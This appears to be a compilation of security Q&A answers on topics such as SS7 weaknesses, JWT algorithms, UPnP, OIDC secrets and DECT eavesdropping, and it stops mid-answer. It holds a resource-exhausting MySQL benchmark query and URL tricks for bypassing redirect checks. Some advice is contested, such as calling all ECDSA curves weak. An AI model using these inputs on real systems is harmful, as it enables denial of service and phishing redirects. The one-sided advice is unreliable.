Yes.
Why do I say this? It is important to understand what all these vulnerability's are and why they exists (I will be calling the victim "subscriber"):
Why do they exists:
SS7 was designed and developed in 1975 as a protocol for telecommunication for call operating centers. Since we are talking here about 1975, the security of the protocol was not really considered in the planning. Later when mobile phones came along they needed a protocol to use and since SS7 was around and was proven to work there was no reason not to use it. So they implanted it into the GSM network architecture and added a few things (SMS, roaming and later on also mobile data).
Now lets understand the vulnerabilities:

Obtaining a subscribers location: A hacker can set up a fake HLR (Home Location Registrar) and claim that he is looking for a subscriber and send a request using the MAP messaging service (Request returns location data regarding the subscriber location and a few more things) and this data will return the Cell ID, the Mobile Country Code (MCC), Mobile Network Code (MNC) and the Location Area Code all related to the target subscribers current location. This was built so anyone wanting to communicate with the subscriber (Route a call to the subscribers location).  Note: Most of the big companies have disabled this feature and found different way to deal with MAP requests.

Retrieving subscribers SMS's:An attacker will pose as a MSC (Mobile Switching Center) and claim to have the subscriber in its network, this will result in the subscribers mobile carrier redirecting traffic meant for the subscriber to the attacker.

Put subscriber offline:
Hacker once again poses as a HLR and claims that subscriber is in his network. Since a subscriber can only be in one place at a time, this will result in disconnecting the subscriber at his current location resulting in the subscriber not having connection. This was designed so carriers can update the HLR DB regarding the subscriber's location so relevant services can be routed to the subscriber.

Conclusion:
As you can see, the SS7 protocol was designed with poor security and until it is not updated with fixes and solutions the vulnerability's will exists.
Note:

I only covered the main vulnerabilities even though there are many more.
You can read more about the vulnerabilities over here.
Many carriers have found creative ways to patch these security holes. It is fair to assume that most of them have not we can see that by the proven research's that are out there.


EDIT: I didn't realize when I answered, but this is a dupe of Crazy Finished Message in TLS

The decodings as HelloRequest are indeed as @Stackz suggests because Wireshark can't decode encrypted records. It tries anyway, and only if it detects a decode failure it suppresses the decode and displays "Encrypted Handshake Message". Here it didn't detect the decode was completely bogus.

Every handshake message (within a handshake record) begins with a prefix of 1-byte msg_type and 3-byte length, see http://tools.ietf.org/html/rfc5246#section-7.4 . Thus you have:
* 8 bytes explicit nonce
* 16 bytes encryption of 1byte=0x14 type, 3bytes=0x00000C len, 12bytes verify_data
* 16 bytes authtag
TOTAL 40

On the client side, maybe the client immediately initiated another handshake; 136 bytes is plausible for ClientHello, especially if "optimized" with knowledge what the server just agreed to.


Physical security - responsible disclosure

First of all, set your expectations appropriately:

The physical security industry isn't quite like the information security industry. The probability that they don't already know everything you figured out is pretty slim. They may have even known about your technique before they went to market.

By assuming you have something novel, how do you realistically expect then to react? Would this mean simply retooling their process? Inventing a new sealing technique? Shutting down entire companies?

Physical security isn't perfect. It isn't even good. Not in comparison to what we have in IT. For example, lockpicking technique has been well understood for literally centuries, but most locks on the market today are still highly susceptible.

By going public you're guaranteed to make people mad on both sides. But the only way you can even hope to improve things is to present not just the problem, but also a commercially-viable solution. Then press the solution, not the problem.


Battery Backed SRAM (and Digital Forensics)

This is perfectly feasible. Current RAM only holds its storage while power is applied to it, so doing that in a mobile device is no different to doing it in a computer.
And you are right - turning the power off will lose all data on the drive in a short time frame.
All common RAM implementations can do this. All you are wanting to do is scale down from something you could do right now with a laptop to just the RAM.


How to patch against RefRef's DOS attack

If this http://www.refref.org/p/refref.html is the DOS i did some research.

mysql> select version();
+-----------+
| version() |
+-----------+
| 5.5.9     |
+-----------+
1 row in set (0.01 sec)

mysql> select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f);
^CCtrl-C -- sending "KILL QUERY 193" to server ...
Ctrl-C -- query aborted.
+---------------------------------------------------------------------------+
| benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f) |
+---------------------------------------------------------------------------+
+---------------------------------------------------------------------------+
1 row in set (3.55 sec)

mysql>

It does not crash the MySQL daemon it just seems to do what the benchmark function is suppose to do, it evaluate the expression 0x70726f62616e646f70726f62616e646f70726f62616e646f 99999999999 times which will take a lot of time. 0x70726f62616e646f70726f62616e646f70726f62616e646fis the ASCII string "probandoprobandoprobando" where "probando" is the latin word for "proving", i guess someone wanted to prove that the benchmark function work as it should.

So the original problem is to make sure your are protected against SQL-injection which should be quite easy if you use some sane database abstraction and don't build your own SQL queries with string concatenation etc.


From my point of view, Honeypots are not made for being used in a personal home network.

In the most cases, they are used for:

Driving bad bots into a Sinkhole.
Studying malicious behavior.
Researching new attack patterns, and if you are lucky some 0days.

  Is it safe to run a honeypot on a virtual machine on my personal computer and home network?

Well, I would say it depends on your info security knowledge. Keep in mind that you are putting a hole in your home network yourself.

What about this scenario:

Your not lucky and a human attacker is targeting your brand new honeypot. This attacker is quite skilled, actually, he does hacking for a living. Let's call him Dimitry.

Within few minutes Dimitry will know he is inside a non-well crafted honeypot. (Yes, your first honeypot won't be a masterpiece). Dimitry has some free time and wants to teach you a lesson.

So he decides to target your router. How unlucky we are... Our router firmware is not up to date it's weak to a buffer overflow attack on the HTTP basic auth login field.

Well, that escalated quickly, Dimitry is now your router admin... He did that in less than 5 minutes, your devices might be part of Dimitry's botnet within 20.

The thing is, nowadays, good attackers don't attack for fun All your bases are belong to us era is no more. They attack for profit, and enrolling new devices into a botnet can be considered as profit.

So the question is: Without your honeypot, How Dimitry knows you even exist ?


Recommended asymmetric algorithms for JWT?

The short answer is to use RS256, to be understood as SHA 256 with RSA 2048 bits keys.
See RFC 7518 JSON Web Algorithms (JWA) for all supported algorithms.
On signing algorithms
There are two major signing algorithms supported by JWT: RSA and ECDSA.

RSA (as in alg:RS256) is the classic asymmetric signing algorithm based on prime factorization. It's very well understood and extremely widely supported. There is no reason to use anything but RSA in my opinion. Recommended key size is 2048 bits.

ECDSA (as in alg:ES256) is an alternative asymmetric algorithm based on elliptic curves. It started gaining traction in the 2010's as an alternative to RSA. It's not quite as widely supported as RSA but it has some support (notably for SSH keys) and it is growing. It's useful to have two alternatives if one of them turns out to be broken in the future. I don't think there is a point in using ECDSA besides being bleeding edge, because RSA does the job just fine while ECDSA libraries are not as prevalent and have had issues not long ago.

See noteworthy vulnerability CVE-2020-0601 breaking elliptic curves cryptography in all Microsoft products and libraries. In short there was a small bug in the implementation so verifying stuff would verify nothing at all. You will re-use random libraries from the internet to verify JWT tokens in your various applications in various languages, I'd be wary whether libraries can implement ECDSA well when Microsoft and consort couldn't. RSA simply doesn't have this sort of bugs because it's simpler and libraries have been reviewed over decades.

HS256 (as in alg:HS256): A pre-shared key mode. There is one single key to both sign and verify tokens. The client and the server must both know THE key. I am not aware of any use case for this, so do yourself a favor and ignore HSxxx modes entirely.

On hashing algorithms
There are three major hashing algorithms supported by JWT: SHA256, SHA384 and SHA512.
They have increasing length to resist advances in computing power.
SHA256 is secure enough, it cannot be cracked in a reasonable time with a whole datacenter, there is no reason to favor the stronger slower algorithms.
Note that SHA1, 160 bits, was never supported in JWT because it was considered insecure and not future proof in the 2010's when JWT was planned.
Performance
When it comes to RSA vs ECDSA, there is no general conclusion that can be made on relative performance. Either may be faster than one another.
It's entirely dependent on the library in use and the specific CPU.
One point of having standard tokens it to more easily support authentication across your different applications (Python, Java, C, C#, etc...) using different libraries so it would be really misplaced to make any general conclusion on performance. You should run a benchmark for yourself if you care about performance.
For reference, verifying tokens is in the order of a millisecond broadly speaking (read as: it's much longer than a microsecond and it's much shorter than a second).
Do not confuse password hashing recommendations with JWT recommendations. Most crypto recommendations you will find on the internet (including stack overflow) are oriented toward password hashing (often with one of PBKDFD2/bcrypt/scrypt/argon), that is a use case designed and configured to be slow, possibly up to a whole second to compute a hash. JWT tokens have to verified on every "call" and are meant to be fast enough for API usage.
Key size and robustness
Recommended sizing:

SHA 256 bits
RSA with 2048 bits key
ECDSA with P-256 curve

See RFC 7518 JSON Web Algorithms (JWA) for all supported algorithms.
These are the recommended settings for the 2020-2030 decade. This can resist an attacker dedicating a datacenter to try to crack the key.
Authentication systems (using JWT) are meant to support authentication for external customers on the web and for internal employees in a company. It needs to resist this sort of attack.
Note that all large companies, universities, research centers and government instituations (#NSA) have compute grids at their disposal so it is really "trivial" to procure few thousands servers to brute force a key.
(Recommendations may be revisited in 2030 when AWS/Google will be renting whole datacenters of 60 000 future GPU).


Offloading hashing and symmetric encryption to HSM

I have not seen a "encrypt random session key with RSA and use it to AES" operation in PKCS#11, so this expected protection does not
  exist. Or am I missing something?

No, there is no such operation in PKCS#11. If you want to do that, you need to construct it from the basic function calls yourself: Generate a symmetric key (on the HSM to use its entropy source), wrap the symetric key with an asymetric key, do the bulk encryption.

  I think for signing the hash can be offloaded, but it looks like most HSM do not allow me to close the 'raw digest' attack and have no
  way to restrict a signing key to a safe RSA (padding) operation.

PKCS#11 devices support a list of mechanisms which specify how the input data is treated. The most common ones are CKM_RSA_PKCS_PSS and CKM_RSA_PKCS for singing and CKM_RSA_PKCS_OAEP or CKM_RSA_PKCS for encryption (plus CKM_RSA_X_509 for raw RSA).

There is no way to restrict a key to a certain mechanism short of disabling a mechanism completely for the token. If you need that, you will have to do it on a lower level and access the device via PC/SC directly (if possible).

  while HSMs claim hardware enhanced performance especially for the bulk
  operations most cannot keep up with modern general purpose CPUs
  (especially if the data has to be transferred over the network
  interface with secure messaging to the HSM) – so there is no speed
  advantage

There is no real answer for that, the term HSM encompasses a very broad range of devices from two digit to five digit € numbers. Small scale crypto tokens or smartcards will definitely be slower when doing AES than a modern CPU but there are definitely devices out there, which are a lot faster (check the "SSL accelerator" category)


Does knowledge of one or more passwords from my password manager help an attacker crack the master password?

No, knowing one or multiple passwords doesn't compromise a master password, no matter if these known passwords are derived from the master password or have been generated by the application itself. Here is a nice answer about how hard it actually is to crack a Keepass master password.

As for the comments about Enigma: Enigma doesn't make use of any master password and has been cracked using other methods, see cryptanalysis of the Enigma.


How to securely erase JavaScript parameters after use?

Your suggesting, to overwrite by assigning a new value to the variable, will not work (at least not on any JS implementations in use in common browsers). JavaScript strings are immutable, meaning that when you assign a new value to a string variable, a new string is created somewhere on the heap. It does not overwrite the old one. Wrapping it in an object, such as in your second example, does not change this.

The garbage collector in JavaScript is abstracted away, and there is no API for you to interact with it. So you can not directly control what it does or tell it to delete a value from memory at once.

There might be some kind of clever trick/ugly hack that you can try to influence the behaviour of the GC, but I doubt it will be worth the effort. I'd recommend you to think about what threat you are trying to defend against, and consider if it's really a problem for you that the password remains in memory.

Edit: As dandavis correctly highlight in comments, there are JavaScript types that can be overwritten, e.g. typed arrays. However, you still need to get the sensitive data into one of those without it every being stored in an "ordinary" variable. If you just copy it from input.value you have gained nothing. I don't know how to do that, and honestly, I would not bother trying.


Can a computer get infected with malware by viewing a PDF online?

Obviously if you are viewing the PDF in your browser, you could get attacked.  Browsers are imperfect, and the PDF format is filled with vulnerabilities (that continue to be found.)

However, it's very highly unlikely that simply viewing a page with a link to a malware file would cause an infection, but we can't definitively say no.  Historic attacks have stepped along paths that once upon a time could have led to infection, but those were ancient exploits that happened back in the early 2000s.  Browser and OS security have improved greatly since then.

For performance reasons, some browsers performed prefetching of links, with the idea that while you were looking at page A, you will probably click to page B.  The browser would therefore download the pages to your cache, even if you didn't click the link.  (Note the referenced page is from 2003.)

There are also exploits that have taken advantage of disk indexing.  When a file lands on your file system, the indexer would scan it and add the data to your computer's search database.  Different types of files have been susceptible to these attacks, including JPG and TTF.

Theoretically, a browser could prefetch a malware file, and then infect you while the filesystem indexes it.

However, I don't know of any browsers that are still doing prefetching; most pages have hundreds of links, and a browser would have no way of knowing which links you might click on.  Furthermore, most indexing systems have been reworked so they aren't as vulnerable as they once were.

It's not a vector that you should lose sleep worrying about.


Can script steal sensitive data in home directory on Linux and is SELinux optimal way/tool to prevent it

Currently I ended up without SELinux in this case.

Instead I set up a separate user account, in which home directory I store the primary key and switch to that account if I need to sign something or decrypt (one can generate a subkey to use under his general account). Despite SELinux unconfined processes being run with root privileges still can access the key storage, I generally don't run untrusted code as root, so this should be a good mitigation.

Also I completely forbade network access to that account, using netfilter meta skuid expression.

Third, regularly review audit reports for failed authorizations, logins etc. through aureport.

Some SELinux protection wouldn't be redundant at all, but since I don't know currently the syntax of SELinux policies etc., I have to depend 100% on the distro provider's policy.

With all that, I can summarise, that on a personal computer it should be more than enough:

to use separate Linux accounts for access to sensitive data
to restrict network access to a required minimum
to review audit reports


All of the curves used by ECDSA keys are considered weak. Just delete the ssh_host_ecdsa_key and ssh_host_ecdsa_key.pub files without replacing them, and/or comment out the entries for them in sshd_config. The only kinds of keys worth having are RSA and Ed25519, and you should already have them.


Is it secure to use window.origin with postMessage?

targetWindow.postMessage({message}, window.origin);

So line transmits the windows origin (e.a. The page domain loaded)
As the origin data for the post message. This is fine.

window.addEventListener("message", e => { if (e.origin == window.origin){ //Trigger something } });

This would check that the message received is from the same origin as this window. This is slightly more problematic, if someone hosted this code on same other domain it would still work. (If that’s not a concern than it’s fine). A more secure strategy would be to replace the window.origin   with a const ORIGIN = “<domain>; and if( e.origin === ORIGIN). This would make it impossible to redefine the origin mod processing of the javascript (or at least after the const) and would make the check do a type check and value check. (Instead of a typebended value check)
Source


Is there a vulnerability in subdomain redirection, similar to Open Redirect

Except for special circumstances (see below) or an especially high-security environment like online banking (then they should use a whitelist of destinations, or perhaps not redirect at all), I would say that this is not a risk worth mentioning. If you can't redirect to anything that is fully or even partially under the control of an attacker, there isn't really any risk.
There are quite a few things that might be attacked-controlled or influenced, though. Consider:

Can employees of the company request subdomains and run something insecure there?
Can you register a subdomain? (E.g. if it's a webhosting company.)
What if you enter an IP address instead of a (sub)domain? Can you format the IP like http://0x50.031101626?
Does the URL parser properly check the URL, e.g. is something like https://domain.com@hello.com recognized to be under the control of hello.com rather than domain.com?
Would switching protocols or using a different port help at all?
If desktops can be resolved with something like DESKTOP-9BA5A95.dyn.domain.com or 80-100-131-150.employees.domain.com, can employees request firewall exceptions? I.e. could someone with low privileges (the proverbial cleaning lady/man) setup a web server somewhere on one of these desktops and trick other users into using the redirect? (This sort of thing used to be more common in the past, probably almost non-existent in 2020.)
Some DNS resolvers and scummy ISPs (like the German Telekom) inject ads when a domain cannot be found. Can you redirect to a nonexistent subdomain like some-keyword.domain.com and buy an ad for some-keyword, hoping the user thinks the ad looks legitimate and clicks it?

There are quite a few options here, but some rely on other vulnerabilities being present and others won't be common or very practical.


Odd searches returned at the end of homepage url; possible to exploit?

Based on the information in your original post there is a low likelihood this would lead to something useful in an attack. The hash fragment is not sent to the server.

However, the hash fragment can be used to direct to a named anchor or may be read by client side code. This is very common in single page application by using [location.hash][3] call. So it might be possible to exploit this with DOM-based / client side XSS. For example: maybe there is some logic based upon the hash or a script makes an AJAX calls based upon the hash.

In your example, when given example.com/home#hi does hi show up anywhere on the page or in the source (is the input reflected back in the page returned)? If so then there may be the possibility of structuring an XSS which will not be filtered.

However, the fact that it is returning the hash an appending it at all could indicate a bug in the backend and you may want to try other odd character fuzzing as you continue your testing. Since you mentioned other special characters are also not being filtered in the expected way this may be enough to get credit through this company's bug bounty depending on their rules.


Simplest way I can think of is using cURL (which is scriptable).

 curl -v -X TRACE http://www.yourserver.com

Running it against an Apache server with TraceEnable Off correctly returns HTTP/1.1 405 Method Not Allowed (just tested on an Apache 2.2.22)

This also works on HTTPS sites, provided that cURL has the correct information supplied to the SSL layer. This is the lazy man's check of Google

curl --insecure -v -X TRACE https://www.google.com/

...it negotiates the connection (does not verify the certificate chain, but that's not the issue here since we want to check on TRACE status), and responds 405:

* Server certificate:
*        subject: C=US; ST=California; L=Mountain View; O=Google Inc; CN=www.google.com
*        start date: 2013-02-20 13:34:56 GMT
*        expire date: 2013-06-07 19:43:27 GMT
*        subjectAltName: www.google.com matched
*        issuer: C=US; O=Google Inc; CN=Google Internet Authority
*        SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> TRACE / HTTP/1.1
> User-Agent: curl/7.25.0 (x86_64-suse-linux-gnu) libcurl/7.25.0 OpenSSL/1.0.1c zlib/1.2.7 libidn/1.25 libssh2/1.4.0
> Host: www.google.com
> Accept: */*

< HTTP/1.1 405 Method Not Allowed


How to know if the response is from the CDN and not the origin?

I'm not sure how you're accessing the origin directly unless you're accessing the origin by using its IP. Once you point your domain name at Cloudflare, all requests go through Cloudflare.
Assuming you're accessing the domain name, the content itself did come from your origin even if Cloudflare is currently returning a cached response. You can see if it's a cached response based 'cf-cache-status' header (hit = Cloudflare cache, miss = Cloudflare had to make a request to your origin because it didn't have anything in cache).
You can also turn on Development Mode so Cloudflare bypasses cache.

Temporarily bypass our cache. See changes to your origin server in realtime.

Cheers.


Why is/was UPnP insecure anyway?

UPnP's bad name comes from implementation issues found in 2011-2013. It's like saying email is insecure and should be disabled because someone found a common issue in multiple email clients some years ago.

I always disabled UPnP because everyone said so. Now that I looked into it, it turns out to be silly. When UPnP was new, some devices were found to allow configuration from the Internet. Anyone could open any port on it. Since then, router vendors had plenty of time to fix their software. Security is a much bigger thing now than it was in 2011 (that's about the time when the first iPad was released), so vendors are more aware of security issues. For older routers, if they were vulnerable in the first place, a firmware update has probably been released long ago.

What is the purpose of UPnP?

UPnP is a solution to an issue that is created by having too few IP addresses. Because not everyone can have their own, we need to share them. The way we do this is by Network Address Translation (NAT): your consumer router translates between your local network (for example 192.168.x.x) and your public IP address (for example 278.14.1.48). Peer to peer applications such as file sharing, calling or video calling, distributing updates (Windows, Google Play), anonymity networks, resilient mesh networks, etc. all cannot function through NAT, so we have to either disable it for specific applications (using port forwarding), or find workarounds (such as UDP/TCP hole punching, STUN, etc.). The UPnP protocol is what an application uses to tell the router that it would like to disable NAT for an application. It's basically automatic port forwarding.

Not enabling UPnP means we need workarounds instead of being able to have peer to peer communication. Software developers that hope to make a profit off of you will spend money on running servers to keep those workarounds functional for you, but free software often does not have such luxuries and cannot function without either UPnP, or you forwarding the port manually.

Then why are the others saying "Yes, it's insecure by design"?

(Spoiler: they are wrong.)

Because NAT is ubiquitous in IPv4, many people started to rely on it for security: because you cannot reach individual hosts inside the network, vulnerabilities cannot be exploited from the outside, and people started turning off security measures inside their LAN. They neglected doing security updates and opened file shares without passwords (because nobody ever takes their laptop outside their LAN, right?), so now you need a firewall that is outside of your laptop, for example in your router. Combine this with the idea that UPnP can open ports, and you get misinformed answers such as the previously top-voted answer.

Ask yourself: what makes that UPnP request to your router to open a port? It has to be something inside your network. For example, malware could tell the router to open it. How terrible! But wait, if you have malware running on your network, and your laptop is not secure... then you are already screwed right? Yes, indeed.

Malware does not need UPnP to reach your local devices: for it to be able to do UPnP, it already needs to be on your device, or inside your network, so it can reach the internal devices by itself without using UPnP.

Or what if a friend brings their smartphone that is infected with malware? It could tell the router to do UPnP to your other devices and expose them. True enough, but again: the malware is already inside your network and can already reach your local devices directly.

Conclusion

UPnP is fine to enable if your router is not ancient, or if you installed firmware updates for it (or if it was never vulnerable in the first place).

Even if your router is known to be vulnerable (and you either refuse to install the update or the vendor did not release an update), then it's still not an issue if all devices inside your network have their security updates installed. You should be doing that anyway, as every website that you visit can attack local devices through JavaScript in your browser (particularly if the local device can be exploited via blind HTTP requests), and everyone with access to your WiFi (e.g. through password cracking) could hack them as well. Beware: this includes printers, IP cameras, and other embedded computers that are often forgotten.


Is there any reason to show the same message for invalid username as password?

If there's at least one way to discover which user names are available on the site, it then means that you can try to brute-force/dictionary-attack/social engineer those specific accounts. In the case you described then it doesn't make any tangible security difference to try to hide the error reason on the login page, since it's trivial to discover the real reason otherwise.

Depending on what's more important to you, you can either make your login process more user (and attacker) friendly, or instead try to secure your registration (or any other) process that might reveal which accounts exist on your system.

When defending against such cases related to the the authentication process for a typical web application, you should normally take into account the following routes:

Signup/Registration - this can reveal which accounts are available as well as allow flooding your system with fake/stale accounts, name-squatting etc. Captcha can usually provide good protection, as well as timeouts, but won't stop manual, slower attacks. I would also suggest not giving hints about username availability or the success of the registration process. You can just say "Thanks for registering. A confirmation email will be sent shortly to confirm the account" (or something like that)
Login page - this is the obvious point, and where most applications already have fairly standard protection, including good-practice of non-revealing errors etc. Slowing down the login process, or monitoring abuse can also help. Lockout for failed logins is also a possibility, but then you're more prone to denial-of-service attacks.
Forgot password - this is often neglected when considering information leakage. When someone puts their email/username in the forgot password field, you should probably respond with the same message regardless if the email/account is known or not. Note that this might create support issues ("I put in my email and your system said it's sending me a reset email, but I didn't get anything...")
Account details/email changes - many applications allow you to, e.g. change your email address or even account name. This would also potentially leak out whether or not a given account or email address already exist or not. Same rules apply here.


How secure are DECT and 5.8Ghz Digital Cordless home Phones?

To answer your question directly: It might work. But the success relies on the hardware of the victim.

The security of DECT Phones relies on the implementation. There are DECT Phones that don't do encryption so the calls can be captured. To test this you need some (old) hardware that is compatible with a tool called dedected. You can find further information here and here.

I tried it back in the days but I think today the hardest task is finding a laptop that still has a PCMCIA slot. The card is still available on amazon.


CSR with no keyUsage or extendedKeyUsage specified and invalid DNS in CommonName - will anyone sign it?

Depending on the CA you are using, the degree of flexibility will vary. All the answers specific to the CA you have selected should be present in their certificate practice statement (CPS).
Each CA has certificate policy in place, which defines what is allowed and how to handle edge cases. Having some experience with building private CAs for living I can tell you that most of the CAs will strip your CSR from everything that they can figure out on their own. For example, it is a common practice to use the CN as SAN DNS in absence of SAN DNS in the CSR. The key usages are designated based on the type of the certificate you are buying not your CSR, this is why they're always stripped from CSR and assigned by the CA. When you are signign a certificate, you basically select a preconfigured template that will make sure that your certificate can be used as intended (it is easy to forget something crucial when generating your CSR).
As for the illegal characters, this is most likely caused by the character set chosen to represent the CN in certificate. When the certificate is encoded CA has options to choose different character sets for different fields to allow more flexibility. It can be PrintableString for CN and UTF-8 for things like a Name. If the character in your CN is not in the default character set selected for the field it will throw an error and CA will refuse to sign it.
Although it is not required by modern browsers the CN is still present in web server certificates to ensure the backwards compatibility.


gpg: How do we Cross-Sign Keys? (--default-key vs. --local-user)

You don't need the 0x prefix when specifying a key, and you could use --sign-key.

--sign-key name Signs a public key with your secret key. This is a shortcut version of the subcommand sign from --edit.

gpg --local-user FEDCBA98 --sign-key 76543210
gpg --local-user 76543210 --sign-key FEDCBA98

OR
gpg --default-key FEDCBA98 --sign-key 76543210
gpg --default-key 76543210 --sign-key FEDCBA98

as used e.g. in Daniel Pecos Martínez: How to rotate your OpenPGP / GnuPG keys. Never stick with the first tutorial you find, as there are plenty of recent documentation available, e.g.

GnuPG documentation, 4.1.3 How to manage your keys
Debian Keysigning
Jeff Carouth: Signing PGP Keys
Francis Chuang: signing-gpg-keys.md


Credit card processing in mobile app over Stripe - PCI DSS compiant?

You always have to be PCI compliant. It just depends on how you process the information if restrictions or requirements apply. Have a look at the following PCI Council document for accepting payments with mobile devices.

What you are doing is seemingly in accordance with the PCI requirements for payments using a mobile device. If your solution (or the one you are leveraging) has been vetted and approved by the PCI council you are considered PCI compliant. So make sure to inquire about the tokenization process and if they can proof it has been vetted by the PCI council or a QSA.

With regard to the MagTek implementation, I'm doubtful it's compliant since the whole point of having a seperate device is to prevent the actual card holder data from touching the phone. It's important when decrypting that it's not stored at anytime on the device, ever. This includes logs and crashdumps. I would inquire directly with MagTek and request proof of validation.


Are there any obvious flaws in this anonymous-receiver communication method using Twitter?

The protocol you describe does not fit your assumptions in the beginning.

At first, you assume Alice does not know who Bob is, but then you assume that Alice and Bob have a secret mapping of "random short messages" to some meaningful statements. This is not impossible, but then you need a way for Bob to send this mapping to Alice in the first place anonymously, and Alice to accept this... without being able to verify who Bob is.

And then, you say that you don't want Carol to know that any message has been sent at all. This isn't an anonymous receiver protocol, but a steganographic channel, where the message is entirely hidden. But for methods like these, its security depends mainly on the fact that the attacker does not know the method.

Additionally, this scheme does not scale at all for multiple receivers, because Alice would have to send a tweet for each receiver (she can't give Bob the random mapping, if she has no other way to send him messages;so each receiver had to choose his own). Now Eve can detect "secret communication messages" by simply evaluating the frequency of tweets. The only way to circumvent this is by sending more random tweets in general (and they all have to be of the "secret message possible" format)... which has to be checked by every receiver if this was a secret code for some message.

Moreover, what is keeping Eve from "subscribing" to the hidden channel herself?

Overall, using Twitter as public broadcast channel is possible. Steganography in url shorteners would also work, but steganography is always about "hiding in the crowd": If you only use this scheme for secret messages (and the attacker knows this), then your messages are no longer hidden at all. Additionally, you are limited to your previously shared secret with the receiver, which is the mapping from random urls to signals/messages. But the "anonymous receiver" part makes this really inefficient for all involved parties: Alice has to create a lot of spam-tweets, to hide sending of messages, possibly to multiple parties. And each receiver has to test every single tweet in his own "secret message mapping".


Formatting potentially infected USB stick before plugging it into trusted devices

The interesting badusb attacks all involve custom hardware. If you know that it is your USB drive just formatting it should be sufficient.


What kind of attacks result in an attacker only being able to leak a site's database?

The first few that come to mind are:

An SQL injection attack where the database user in question has only the SELECT privilege.
A compromise of the primary database backups or the offsite database backups.  While these aren't read only, there's little likelihood of escalating the compromise by writing to backups.
A compromise of a shell account on a database server.  Even though you could use root privileges on a database box to gain a user account in the database itself, this would probably be a noisy action that would get the compromise noticed.  You could still copy the entire database contents without being noticed.

It's also entirely possible that the attackers in the leaks you are talking about had full privileges or at least more privileges than just read-only but chose not to use them.  Or they did use them but that use hasn't been detected yet.  Or that they have the full application code but chose not to leak that.

An interesting thought I just had while writing this about preventing 1. by reducing the attack surface is to have a separate database user account that only has access to the credentials table and your normal, read-only user doesn't have access to this table.  That way, only an SQL injection in the login form can compromise your password hashes.  Any SQL injection in another part of the web application cannot see the password hashes (or whatever other sensitive data you have).


What is the worst I can do, if I know OpenId Connect client secret?

Let's assume that I have the client secret of an application legit.app.org, and I can create a malicious application bad.app.org, with the issuer being oidc.app.org.

If I can convince a user to connect to bad.app.org using oidc.app.org I will be able to receive the tokens for this user associated with the legit.app.org credential. So If I use those tokens to connect to legit.app.org I will be able to impersonate the user.

Thankfully, there's a second layer of protection which is that the legit.app.org will have to register valid redirect_uris. Requests usign legit.app.org client_id/client_secret will have to use one of those registered redirect_uri, and the auth server is supposed to do an exact match. So with bad.app.org I'll also have to somehow "control" a redirect_uri considered as valid for the client_id/client_secret of legit.app.org to be able to intercept valid tokens.

Note that most of the auth services allow to either revoke client_secret and get a new one. Last but not least, if somehow you need to include a client_secret in an unsafe app like a SPA or mobile app, the solution is to use PKCE instead of regular client_secret.

PS: forgot to add that if you use HS256 instead of RS256 to sign the token id, it's the client secret which is used to sign the id token. See https://openid.net/specs/openid-connect-core-1_0.html#Signing. So basically you can emit falsely signed id tokens and if the client accept symmetric signed keys with no iss check, you can impersonate anybody. Obviously that's why you shouldn't use JWT authentication with symmetric algorithm


What are the risks of file server access over wireless?

It is difficult for someone to tell you if a particular resource is adequately protected as it depends on the value of the files stored on the server as well as many other factors.

I am assuming that you are using WPA/WPA2-PSK, which is what most small businesses usually use. Every employee connects to the wireless network using the same password. The risk is that any employee can run a packet capture software such as wireshark and capture the authentication process of a fellow employee.

In such a circumstance, either the hash or the plain text password of the victim will be revealed. It depends on which authentication protocol the file server uses.


How to store private keys in browsers after Apple's decision to wipe script-writeable storage?

It looks like the solution to this problem may be to add the application to the home screen.  It seems that the author of the blog post that you referenced added clarification on this, after it was originally published.  If you scroll down to the section 'A Note On Web Applications Added to the Home Screen', it reads:

  As mentioned, the seven-day cap on script-writable storage is gated on
  “after seven days of Safari use without user interaction on the site.”
  That is the case in Safari. Web applications added to the home screen
  are not part of Safari and thus have their own counter of days of use.
  Their days of use will match actual use of the web application which
  resets the timer. We do not expect the first-party in such a web
  application to have its website data deleted.

  If your web application does experience website data deletion, please
  let us know since we would consider it a serious bug. It is not the
  intention of Intelligent Tracking Prevention to delete website data
  for first parties in web applications.

Related:
Apple: Relax, we're not totally screwing web apps. But yes, third-party cookies are toast
Sure, we'll delete local data after seven days but there's a way to avoid that
https://www.theregister.co.uk/2020/03/26/apple_relax_were_not_totally/

Last but not least, I hope you are using the Web Crypto API to store your private keys securely.  See https://crypto.stackexchange.com/questions/35530/where-and-how-to-store-private-keys-in-web-applications-for-private-messaging-wi/52488#52488 for more info.


You can use openssl like this:

openssl enc -e -aes-256-cbc -salt -a -in /file/to/encrypt -out /file/encrypted

Replace -e with -d to decrypt. It should work both on OS X and Linux, don't know on other systems however.
    man openssl to list the options and the available cipher.

Edit: looks like openssl applies few rounds of MD5 (not the best hashing algorithm) to the key derivation. This makes brute force attacks easier.

A better solution could be GnuPG (i know you asked for a preinstalled tool by the way):

To encrypt:

gpg -c -a --cipher-algo AES256 /file/to/encrypt

To decrypt:

gpg /file/to/decrypt


Downloading and updating the software via Playstore

The play store uses SSL/TLS to ensure the integrity of your downloads, just like your web browser. Basically it downloads metadata for a particular package including a plain HTTP URL and a checksum of the binary. After the download it compares the checksum to the APK and ensures they match.

  how can trust that I'm securely communicating to download and upgrade
  the software

This gives you a reasonably strong assurance that the download hasn't been compromised during the communication process, however if the TLS can be compromised then the metadata request containing the download URL and checksum can be tampered with.

Compromising TLS wouldn't be trivial to most adversaries, however TLS depends on the integrity of the 150 root CA certificates installed on the device. Many of these trusted CA certificates are controlled by departments of various governments including the US and China. If your adversary has the resources of a nation state then there is a good chance they could compromise your downloads.

Also there is the potential for an attacker to trick the user into installing a malicious root CA certificate via social engineering techniques such as phishing. Android has reasonably strong defences against this though, including a warning in the notification bar whenever additional CA certificates are installed.

Another layer of defence is that certain permissions can only be accessed by APKs signed by the same certificate as the system. This provides additional protection for system Apps such as the settings App.

  assure that the software downloaded using my account is 100% trusted
  and safety ?

What I've mentioned above ensures that your download is what you wanted to download. It does not guarantee that what you intended to download is trustworthy or safe. Google does some automated scanning of submissions for malicious functionality (they call this system "Bouncer"), however I'd only consider that a first line of defence.

In general you should apply the same discretion to Apps as you would to PC software.

Only download from trustworthy vendors
Check reviews and feedback
Check permissions manually and thoroughly
Don't install software you don't absolutely have to

Etc, etc.

Note: My answer is applicable to Android 4.4.4 and Play Store 4.9.13, however it most likely applies to newer versions too.


Do SSH private keys always contain enough information to derive a public key?

There are three sides to this question, RSA in general, RSA with SSH and SSH with other cryptosystems.

In RSA the public and private key each notionally consist of two values.

